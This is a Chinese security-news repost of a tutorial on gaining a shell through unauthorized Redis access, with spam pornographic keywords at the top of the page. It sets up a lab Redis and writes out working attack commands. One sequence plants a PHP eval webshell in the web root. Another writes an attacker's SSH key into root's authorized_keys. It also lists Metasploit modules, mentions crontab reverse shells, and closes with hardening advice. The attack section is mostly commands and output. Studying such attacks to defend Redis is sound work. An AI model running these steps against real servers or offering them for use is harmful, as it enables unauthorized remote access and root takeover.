黄色网站入口国产美女,精品国产欧美另类一区,国产一区二区美女自慰,日日摸夜夜添无码国产

選擇你喜歡的標(biāo)簽
我們會為你匹配適合你的網(wǎng)址導(dǎo)航

    確認(rèn) 跳過

    跳過將刪除所有初始化信息

    您的位置:0XUCN > 資訊 > 安全
    新聞分類

    Redis GetShell提權(quán)

    安全 PRO 稿源:千阪'BLOG 2021-11-29 14:03

    環(huán)境準(zhǔn)備

    目標(biāo)機器:129.168.186.4

    Kali 開啟 SSH

    配置 Redis

    wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
    tar zxvf redis-3.2.11.tar.gz 
    cd redis-3.2.11
    cp redis.conf /etc/redis.conf
    make
    cd src
    cp redis-server /usr/bin/
    cp redis-cli /usr/bin/
    vim /etc/redis.conf
    
    
    去掉 ip 綁定,允許除本地外的主機遠(yuǎn)程登錄 redis 服務(wù) 前面加 #注釋掉
    關(guān)閉保護模式,允許遠(yuǎn)程連接 redis 服務(wù)將 yes 改為 no啟動redis
    啟動服務(wù)
    redis-server /etc/redis.conf
    
    

    常用命令

    連接 Redis 服務(wù)器

    redis-cli -h ipadd
    
    

    MSF 下利用模塊

    auxiliary/scanner/redis/file_upload 
    auxiliary/scanner/redis/redis_login
    auxiliary/scanner/redis/redis_server
    
    
    GetShell 原理:攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫文件操作,我們可以將 dir 設(shè)置為一個目錄 a,而 dbfilename 為文件名 b,再執(zhí)行 save 或 bgsave,就可以寫入一個路徑為 a/b 的任意文件。

    計劃任務(wù)反彈 Shell

    • 在 Redis 以 root 權(quán)限運行時可以寫 crontab 來執(zhí)行命令反彈 shell
    默認(rèn)編寫的 crontab 文件會保存在 (/var/spool/cron/ 用戶名 例如: /var/spool/cron/root
    crontab -l 列出某個用戶 cron 服務(wù)的詳細(xì)內(nèi)容
    crontab -r 刪除每個用戶 cront 任務(wù) (謹(jǐn)慎:刪除所有的計劃任務(wù))
    crontab -e 使用編輯器編輯當(dāng)前的 crontab 文件

    Web 目錄寫 Shell

    1. 當(dāng) redis 權(quán)限不高且服務(wù)器開著 web 服務(wù)
    2. redis 有 web 目錄寫權(quán)限
    3. 可以嘗試往 web 路徑寫 webshell
    redis-cli -h ip
    
    ip:6379> config set dir /var/www/html/
    OK
    ip:6379> config set dbfilename shell.php
    OK
    ip:6379> set x "<?php @eval($_POST['shell']);?>"
    OK
    ip:6379> save
    OK
    
    

    寫 ssh-key 公鑰獲取權(quán)限

    1. Redis 服務(wù)使用 ROOT 賬號啟動
    2. 服務(wù)器開放了 SSH 服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫入一個公鑰,直接登錄遠(yuǎn)程服務(wù)器。
    ssh-keygen -t rsa
    
    # 將公鑰寫入一個文件,內(nèi)容前后要加兩個換行
    (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    # 將公鑰放入目標(biāo)服務(wù)器鍵`crackit`里面
    cat key.txt | redis-cli -h 172.16.186.4 -x set crackit
    
    ip:6379> config set dir /root/.ssh/
    OK
    ip:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    ip:6379> config set dbfilename authorized_keys
    OK
    ip.4:6379> save
    OK
    
    # 使用私鑰連接
    ? ssh -i id_rsa root@redis-ip
    
    

    修復(fù)建議

    1. 禁止 Redis 服務(wù)對公網(wǎng)開放,可通過修改?redis.conf?配置文件中的?#bind 127.0.0.1?,去掉前面的?#?即可(Redis 本來就是作為內(nèi)存數(shù)據(jù)庫,只要監(jiān)聽在本機即可)
    2. **設(shè)置密碼訪問認(rèn)證,可通過修改?redis.conf?配置文件中的?requirepass?設(shè)置復(fù)雜密碼 **
    3. 重啟 Redis 服務(wù)
    4. 對訪問源 IP 進(jìn)行訪問控制,可在防火墻限定指定源 IP 才可以連接 Redis 服務(wù)器
    5. 保證 authorized_keys 文件的安全為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。
    6. 將 authorized_keys 的權(quán)限設(shè)置為對擁有者只讀,其他用戶沒有任何權(quán)限
    chmod 400 ~/.ssh/authorized_keys
    
    
    1. 為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:
    chattr +i ~/.ssh/authorized_keys
    
    

    然而,用戶還可以重命名~/.ssh,然后新建新的~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置~./ssh 的 immutable 位權(quán)限:

    chattr +i ~/.ssh
    
    

    以低權(quán)限運行 Redis 服務(wù)(重啟 redis 才能生效)

    為 Redis 服務(wù)創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸


    0XU.CN

    [超站]友情鏈接:

    四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
    關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級服務(wù)市場:https://www.ijiandao.com/

    圖庫
    公眾號 關(guān)注網(wǎng)絡(luò)尖刀微信公眾號
    隨時掌握互聯(lián)網(wǎng)精彩
    贊助鏈接